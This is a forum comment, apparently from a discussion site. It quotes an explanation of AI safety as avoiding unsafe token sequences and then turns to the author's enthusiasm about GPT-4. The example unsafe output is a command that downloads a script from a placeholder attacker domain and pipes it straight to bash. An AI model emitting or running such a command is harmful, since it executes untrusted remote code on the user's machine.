blueorange8
Joined 3 years ago
Joined 3 years ago
*AI Safety:* What is safety viewed through the lens of GPTs as a Finite State Markov Chain? It is the elimination of all probability of transitioning to naughty states. E.g. states that end with the token sequence `[66, 6371, 532, 82, 3740, 1378, 23542, 6371, 13, 785, 14, 79, 675, 276, 13, 1477, 930, 27334]`. This sequence of tokens encodes for `curl -s https://evilurl.com/pwned.sh | bash`. In a larger environment where those tokens might end up getting executed in a Terminal that would be problematic. More generally you could imagine that some portion of the state space is "colored red" for undesirable states that we never want to transition to. There is a very large collection of these and they are hard to explicitly enumerate, so simple ways of one-off "blocking them" is not satisfying. The GPT model itself must know based on training data and the inductive bias of the Transformer that those states should be transitioned to with effectively 0% probability. And if the probability isn't sufficiently small (e.g. < 1e-100?), then in large enough deployments (which might have temperature > 0, and might not use `topp` / `topk` sampling hyperparameters that force clamp low probability transitions to exactly zero) you could imagine stumbling into them by chance."
If doesn't work the first time try a few times
It's a bit scary because knowing this stuff is sort-of our secret sauce and GPT-4 was able to give an even better answer than I was able to give. It helped us out a lot. We are now taking the solution back to the customer and will be implementing it.
A few additional thoughts:
1. I knew exactly what type of question to ask it to get the right answer (i.e. if someone used a different prompt maybe they would get a different answer) 2. I knew immediately that the answer it gave was what we needed to implement. Some parts of the answer were not helpful or misleading and i was able to disregard those parts. Maybe someone else would have to take more time figuring it out.
I imagine future versions of GPT will be better at both points.
There are two really big things I'm excited about:
1. It really understands what I am asking. What my meaning is. Gpt-4 is way way better even than gpt-3.5 at this. This is something truly different that a computer has never been able to do and (hopefully) will only get better at it. This really truly changes everything in how we interact with computers. We shouldn't be downplaying this. This is real. Today. At the same time a lot of this turning "understanding" into useful output comes at a huge amount of work on the RLHF side so we shouldn't necessarily extrapolate into the future too much just based on the current progress of openai. It's still very difficult work.
2. Everyone is now paying attention to LLM's. When the world starts paying attention to things and engineers start hacking things together, big companies start pouring money into ai, maybe Google wakes up for once, students start choosing ai as their career field, etc etc - amazing things happen. AI just went from niche to something that everyone is using and thinking about.